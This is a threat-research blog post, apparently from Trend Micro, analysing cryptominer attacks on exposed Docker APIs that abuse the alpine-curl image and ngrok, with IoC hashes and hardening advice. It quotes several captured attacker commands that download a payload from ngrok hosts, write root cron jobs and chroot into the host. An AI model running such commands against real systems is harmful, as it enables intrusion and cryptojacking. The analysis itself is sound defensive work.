Through data analysis of the container honeypots we’ve set up to monitor threats, we’ve uncovered notable activities of undesired or unauthorized cryptocurrency miners being deployed as rogue containers using a community-contributed container image published on Docker Hub. The image is being abused as part of a malicious service that delivers cryptocurrency-mining malware. Networking tools are retrieved to carry out lateral movement on other exposed containers and applications.
We set up the honeypots by default, that is, configured out-of-the-box with no security measures or software adopted post-installation. Note that Docker has best practices or recommendations to avoid misconfigurations. The honeypots that captured the activities are container host honeypots designed to receive attacks targeting the container platform itself, not the container’s applications.
The activities we uncovered are also significant in that they don’t need to exploit vulnerabilities and don’t depend on any version of Docker. Identifying a misconfigured and thus exposed container image is all it could take for attackers to infect many exposed hosts.
When exposed, the Docker API enables the user to execute a wide range of commands. These include listing the running containers; getting logs from a specific container; starting, stopping, or killing a container; and even creating a new container with a specific image and given options.
Attack chain and payloads
We uncovered these activities not just by monitoring our honeypots. Recent Shodan data (Figure 2) also revealed that the number of exposed Docker APIs increased since we last researched into a misconfigured container that was abused as springboard to deploy Monero-mining malware. In October of last year, the exposed APIs numbered to only 856.
Our further look into the honeypots’ logs showed that the use of the container image also involves the abuse of ngrok, a tool used to establish secure connections or relay traffic from publicly accessible endpoints to specified addresses or resources (e.g., a localhost). This enables attackers to dynamically create URLs for when the payloads are delivered to an exposed host. Below are examples of code from the honeypots’ logs showing how the ngrok service is abused.
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \”cron || crond\””,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \”cron || crond\””,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \”cron || crond\””,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \”cron || crond\””,
As shown above, the downloaded files are retrieved from constantly changing URLs. The URLs also have a short lifetime, so the payloads cannot be downloaded once they’ve expired.
There are two payloads. The first is a Linux executable and linkable format (ELF) file-compiled cryptocurrency miner (detected by Trend Micro as Coinminer.SH.MALXMR.ATNO) that connects to a mining pool. The second is a shell script (TrojanSpy.SH.ZNETMAP.A) designed to retrieve certain networking tools. These are used to scan predefined network ranges and then look for new targets.
A dropper sets two variables that will be later used to deploy the cryptocurrency miner. The variable HOST contains the URL hosting the malicious files, while the variable RIP has the filename (which is the file hash) of the cryptocurrency miner to be deployed. The variable HOST changes every time the hash’s variable is changed. The deployment script also tries to make sure there is no other cryptocurrency miner running on the affected host.
Figure 3. Example of the variables in HOST and RIP for when the cryptocurrency miner is deployed (top), and code snippet showing how the script ensures no other cryptocurrency miner is running (middle, bottom)
Before the cryptocurrency miner is executed, it is renamed to nginx. Other versions of this script rename the miner into other valid services that can be found in Linux environments. This is done to avoid detection for when running processes are listed.
The mapping script also has notable features. It uses the same URL service to deploy the tools it needs. Among them is a Linux binary called zmap, which is used to scan networks and obtain open ports. It also downloads a different binary to interact with the found service and grab its banner in order to determine more information about it (e.g., its running version).
The script also predefines some sets of network ranges that should be scanned. This varies depending on the script’s version. It defines specific ports used by services it targets — in this case, Docker — before starting the scanning process.
Once possible targets are found, their banners are automatically obtained. The script also filters the targets to match its services, applications, components, or platforms of interest: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker client version 1.16, and Apache CouchDB. If a scanned host matches any of those, it is stored in a text file, which attackers could use for further exploration or compromise in the future. The text files are uploaded to the attackers’ server via dynamic links. This means different URLs are used for every uploaded text file, which means accessing them can be difficult.
As shown in the snippets of the script in Figures 4 and 5, a Docker image is been abused as vector to deliver the attack.
A Docker-based image can be built on Alpine Linux with curl, a resource-efficient command-line tool for file transfers via various protocols, installed. As shown in Figure 6, the “curl” container has had 10 million downloads already. The large number of downloads could be attributed to the image’s curl as entrypoint, its last update having been over six months ago, and the other images on the same repository not being on the same pace of downloads. In Docker, entrypoint is a set of instructions used for configuring a container to run as an executable. If a container’s entrypoint settings are misconfigured (i.e., leaving it exposed to the internet), it could be abused as an attack vector. Hackers, for instance, can use it to deliver their payloads once they find a misconfigured or exposed container running in the wild.
It is important to note that the Docker image (alpine-curl) is not malicious on its own. But as shown above, it is being abused to carry out a malicious functionality. Similar Docker images could also be abused to perform malicious activities. We’ve contacted and worked with Docker about this issue.
Misconfiguration remains a perennial challenge for many organizations, particularly those adopting DevOps, which focuses on quick development and delivery. The impact is exacerbated by the need to comply with auditing, monitoring, and data privacy regulations, and the hefty fines they can impose. Integrating automated security in the development life cycle not only helps discern security gaps that could be otherwise missed. It also helps reduce superfluous workloads, such as developing too many application builds for every misconfiguration or vulnerability identified after an application is deployed.
The incident discussed in this post highlights the need for security by design, which includes these recommendations:
- For system administrators and developers, always check the API’s configuration and ensure that it’s set to receive requests only from a determined host or internal network.
- Implement the principle of least privilege: Ensure container images are signed and authenticated, restrict access to critical components (such as the daemon service that helps run containers), and encrypt network connections.
- Follow best practices and enable security mechanisms, such as Docker’s own guidelines and built-in security features.
- Employ automated runtime and image scanning to gain further visibility into the container’s processes (e.g., to determine if it has been tampered with or has vulnerabilities). Application control and integrity monitoring help keep an eye out for anomalous modifications on servers, files, and system areas.
Trend Micro helps DevOps teams to build securely, ship fast, and run anywhere. The Trend Micro Hybrid Cloud Security solution provides powerful, streamlined, and automated security within the organization’s DevOps pipeline and delivers multiple XGen™ threat defense techniques for protecting runtime physical, virtual, and cloud workloads. It also adds protection for containers via Deep Security and Deep Security Smart Check, which scans Docker container images for malware and vulnerabilities at any interval in the development pipeline to prevent threats before they are deployed.
Indicators of Compromise (IoCs):
Related hashes (SHA-256):
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Updated as of March 11, 2019, 6:30 PM PDT to include SHA-256 hashes in the IoCs.